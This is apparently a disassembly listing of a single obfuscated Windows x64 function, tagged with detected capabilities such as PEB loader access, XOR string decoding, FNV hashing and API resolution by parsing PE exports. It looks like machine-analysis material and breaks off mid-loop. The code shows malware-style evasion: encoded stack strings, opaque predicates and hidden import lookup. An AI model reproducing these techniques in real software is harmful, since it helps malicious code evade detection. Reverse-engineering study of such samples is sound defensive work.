Function at 0x1402248c0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x120
movzx eax, byte [0x1403489df]
mov r12d, dword [0x140348ac8]
add eax, r12d
cmp eax, 0x4b
ja 0x140225235
je 0x1402250ec
cmp eax, 6
je 0x140224de0
cmp eax, 0x15
je 0x140224c99
cmp eax, 0x28
jne 0x14022524b
movdqa xmm0, xmmword [0x1403279c0]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x5001
mov dword [rsp + 0x39], 0x867ca4
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 0x7c
mov byte [rsp + 0x38], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x32]
lea r15, [rsp + 0x31]
neg r15
lea r14, [rsp + 0x30]
neg r14
nop word [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402249b6
inc dl
cmp dl, 4
jne 0x1402249a0
jmp 0x1402249c5
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402249f6
inc dl
cmp dl, 8
jne 0x1402249e0
jmp 0x140224a05
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224a22
inc cl
cmp cl, 5
jne 0x140224a10
jmp 0x140224a31
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x3a]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x3b]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224a7d
inc dl
cmp dl, 4
jne 0x140224a63
lea r10, [r15 + r8]
jmp 0x140224a92
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224ab9
inc dl
cmp dl, 8
jne 0x140224aa3
jmp 0x140224acc
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224ae4
inc cl
cmp cl, 5
jne 0x140224ad2
jmp 0x140224af7
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x3a]
xor byte [rsp + r10 + 0x32], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224b4b
inc dl
cmp dl, 4
jne 0x140224b31
lea r9, [r14 + r8]
jmp 0x140224b60
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224b87
inc dl
cmp dl, 8
jne 0x140224b71
jmp 0x140224b9a
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224bb2
inc cl
cmp cl, 5
jne 0x140224ba0
jmp 0x140224bc5
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
add dil, byte [rsp + 0x3a]
xor byte [rsp + r9 + 0x32], dil
add esi, 3
add r8, 3
cmp esi, 6
jne 0x140224970
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x32], 9
je 0x140224c8a
mov edx, 0x1cedecad
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, edx
shr eax, cl
test al, 1
je 0x140224c17
mov cl, 1
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c43
mov cl, 1
mov eax, edx
shr eax, cl
test cl, al
jne 0x140224c43
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c43
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c43
mov cl, reloc.WS2_32.dll_ntohs
shr edx, cl
test dl, 1
je 0x1402260a5
mov edx, 0xd747c61e
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x140224c5e
xor cl, cl
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c8a
xor ecx, ecx
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c8a
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c8a
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140224c8a
mov cl, reloc.WS2_32.dll_sendto
shr edx, cl
test dl, 1
je 0x1402260a5
mov dword [0x140348ac8], 3
jmp 0x1402260a5
movdqa xmm0, xmmword [0x140327560]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x7c7ca4
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0x86
mov byte [rsp + 0x34], 0
xor r13d, r13d
mov r10d, r13d
lea r8, [rsp + 0x2f]
nop dword [rax]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx r9d, r11b
add r9b, byte [rsp + 0x37]
xor r9b, cl
mov byte [r8], r9b
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, byte [rsp + rax + 0x20]
nop
movzx eax, bl
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224d25
inc dl
cmp dl, 4
jne 0x140224d10
jmp 0x140224d34
movsx ecx, r9b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224d66
inc dl
cmp dl, 8
jne 0x140224d50
jmp 0x140224d75
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224d92
inc cl
cmp cl, 5
jne 0x140224d80
jmp 0x140224da1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x36]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 5
jne 0x140224ce0
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r12d
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x27
jne 0x1402260a5
add r12d, 0x1d
jmp 0x14022609e
movdqa xmm0, xmmword [0x140327d50]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x140327130]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x45], 0x7c7ca4
mov word [rsp + 0x49], 0x305
mov byte [rsp + 0x4b], 0x86
mov byte [rsp + 0x44], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x3b]
lea r15, [rsp + 0x3a]
neg r15
lea r14, [rsp + 0x39]
neg r14
nop dword [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, byte [rsp + 0x47]
add r10b, dil
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224e86
inc dl
cmp dl, 4
jne 0x140224e70
jmp 0x140224e95
movsx ecx, r10b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224ec6
inc dl
cmp dl, 8
jne 0x140224eb0
jmp 0x140224ed5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224ef2
inc cl
cmp cl, 5
jne 0x140224ee0
jmp 0x140224f01
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x46]
add al, dil
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
movzx r9d, byte [rsp + 0x47]
add r9b, 3
add r9b, dil
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224f5a
inc dl
cmp dl, 4
jne 0x140224f40
lea r10, [r15 + r8]
jmp 0x140224f6f
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140224f96
inc dl
cmp dl, 8
jne 0x140224f80
jmp 0x140224fa9
movsx ecx, byte [rsp + r10 + 0x3b]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
xor cl, cl
movzx edx, byte [r11]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x140224fc2
inc cl
cmp cl, 5
jne 0x140224fb0
jmp 0x140224fd5
movsx ecx, byte [rsp + r10 + 0x3b]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
movzx eax, byte [rsp + 0x46]
add al, 3
add al, dil
xor byte [rsp + r10 + 0x3b], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x47]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14022502c
inc dl
cmp dl, 4
jne 0x140225012
lea r9, [r14 + r8]
jmp 0x140225041
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225068
inc dl
cmp dl, 8
jne 0x140225052
jmp 0x14022507b
movsx ecx, byte [rsp + r9 + 0x3b]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140225093
inc cl
cmp cl, 5
jne 0x140225081
jmp 0x1402250a6
movsx ecx, byte [rsp + r9 + 0x3b]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
add dil, byte [rsp + 0x46]
xor byte [rsp + r9 + 0x3b], dil
add esi, 3
add r8, 3
cmp esi, 9
jne 0x140224e40
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x3b], 0x2e
jne 0x1402260a5
mov dword [0x140348ac8], 0x16
jmp 0x1402260a5
movdqa xmm0, xmmword [0x140328270]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0xde8000
mov qword [rsp + 0x34], 0x80
mov dword [rsp + 0x3d], 0x7c0486
mov word [rsp + 0x41], 0x305
mov byte [rsp + 0x43], 0x86
mov byte [rsp + 0x3c], 0
xor r13d, r13d
mov r10d, r13d
lea r8, [rsp + 0x35]
nop
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx r9d, r11b
add r9b, byte [rsp + 0x3f]
xor r9b, cl
mov byte [r8], r9b
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, byte [rsp + rax + 0x20]
nop
movzx eax, bl
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225175
inc dl
cmp dl, 4
jne 0x140225160
jmp 0x140225184
movsx ecx, r9b
movzx eax, byte [rsp + 0x42]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402251b6
inc dl
cmp dl, 8
jne 0x1402251a0
jmp 0x1402251c5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402251e2
inc cl
cmp cl, 5
jne 0x1402251d0
jmp 0x1402251f1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x40]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x140225130
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x35], 0x3b
jne 0x1402260a5
mov dword [0x140348ac8], 0xc
jmp 0x1402260a5
cmp eax, 0x2227
je 0x140225f0e
cmp eax, 0x23fb
je 0x1402256ec
movdqa xmm0, xmmword [0x140327d40]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140327360]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x1403278f0]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x140327f70]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x140327370]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x140328080]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x140327a10]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x140326f60]
movdqa xmmword [rsp + 0xe0], xmm1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x10d], 0x7c7ca4
mov word [rsp + 0x111], 0x305
mov byte [rsp + 0x113], 0xa4
mov byte [rsp + 0x10c], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0xe5]
lea r15, [rsp + 0xe4]
neg r15
lea r14, [rsp + 0xe3]
neg r14
nop dword [rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x70]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x10f]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225387
inc dl
cmp dl, 4
jne 0x140225371
jmp 0x140225399
movsx ecx, r10b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x70]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402253c6
inc dl
cmp dl, 8
jne 0x1402253b0
jmp 0x1402253d8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402253f2
inc cl
cmp cl, 5
jne 0x1402253e0
jmp 0x140225404
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x10e]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x70]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x10f]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x70]
nop dword [rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14022545a
inc dl
cmp dl, 4
jne 0x140225440
lea r10, [r15 + r8]
jmp 0x140225475
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x70]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402254a6
inc dl
cmp dl, 8
jne 0x140225490
jmp 0x1402254c2
movsx ecx, byte [rsp + r10 + 0xe5]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402254e2
inc cl
cmp cl, 5
jne 0x1402254d0
jmp 0x1402254fe
movsx ecx, byte [rsp + r10 + 0xe5]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x10e]
xor byte [rsp + r10 + 0xe5], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x70]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x10f]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14022555b
inc dl
cmp dl, 4
jne 0x140225541
lea r9, [r14 + r8]
jmp 0x140225576
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x70]
add r11, rcx
movzx r10d, byte [r11]
nop word [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402255a6
inc dl
cmp dl, 8
jne 0x140225590
jmp 0x1402255c2
movsx ecx, byte [rsp + r9 + 0xe5]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402255e2
inc cl
cmp cl, 5
jne 0x1402255d0
jmp 0x1402255fe
movsx ecx, byte [rsp + r9 + 0xe5]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
add dil, byte [rsp + 0x10e]
xor byte [rsp + r9 + 0xe5], dil
add esi, 3
add r8, 3
cmp esi, 0x27
jne 0x140225340
mov eax, 0x38e38e39
mul r12d
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
mov eax, r12d
sub eax, ecx
cmp byte [rsp + rax + 0xe5], 0x20
jne 0x14022564d
mov dword [0x140348ac8], 9
jmp 0x1402260a5
mov edx, 0xfe7793f9
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x140225668
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256e3
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256e3
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256e3
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256e3
mov cl, reloc.WS2_32.dll_sendto
shr edx, cl
test dl, 1
jne 0x1402256e3
mov edx, 0xadf14488
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x1402256ab
xor cl, cl
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256d7
xor ecx, ecx
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256d7
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256d7
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402256d7
mov cl, 0xb
shr edx, cl
test dl, 1
je 0x1402260a5
mov dword [0x140348ac8], r13d
jmp 0x1402260a5
add r12d, 0x11
jmp 0x14022609e
movdqa xmm0, xmmword [0x1403282b0]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x5000
mov dword [rsp + 0x39], 0xa40486
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 4
mov byte [rsp + 0x38], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x32]
lea r15, [rsp + 0x31]
neg r15
lea r14, [rsp + 0x30]
neg r14
nop word [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225786
inc dl
cmp dl, 4
jne 0x140225770
jmp 0x140225795
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402257c6
inc dl
cmp dl, 8
jne 0x1402257b0
jmp 0x1402257d5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402257f2
inc cl
cmp cl, 5
jne 0x1402257e0
jmp 0x140225801
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x3a]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x3b]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14022584d
inc dl
cmp dl, 4
jne 0x140225833
lea r10, [r15 + r8]
jmp 0x140225862
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225889
inc dl
cmp dl, 8
jne 0x140225873
jmp 0x14022589c
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402258b4
inc cl
cmp cl, 5
jne 0x1402258a2
jmp 0x1402258c7
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x3a]
xor byte [rsp + r10 + 0x32], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14022591b
inc dl
cmp dl, 4
jne 0x140225901
lea r9, [r14 + r8]
jmp 0x140225930
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140225957
inc dl
cmp dl, 8
jne 0x140225941
jmp 0x14022596a
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140225982
inc cl
cmp cl, 5
jne 0x140225970
jmp 0x140225995
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
add dil, byte [rsp + 0x3a]
xor byte [rsp + r9 + 0x32], dil
add esi, 3
add r8, 3
cmp esi, 6
jne 0x140225740
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
mov ecx, Ordinal_50
mov edx, 5
cmp byte [rsp + r12 + 0x32], 0xa
cmovne ecx, edx
mov dword [0x140348ac8], ecx
mov edx, 0x620b64ca
mov cl, 0x18
mov eax, edx
shr eax, cl
test al, 1
je 0x1402259f4
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225a1f
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225a1f
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225a1f
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140225a1f
mov cl, reloc.WS2_32.dll_select
shr edx, cl
test dl, 1
je 0x1402260a5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140225f06
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140225f06
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
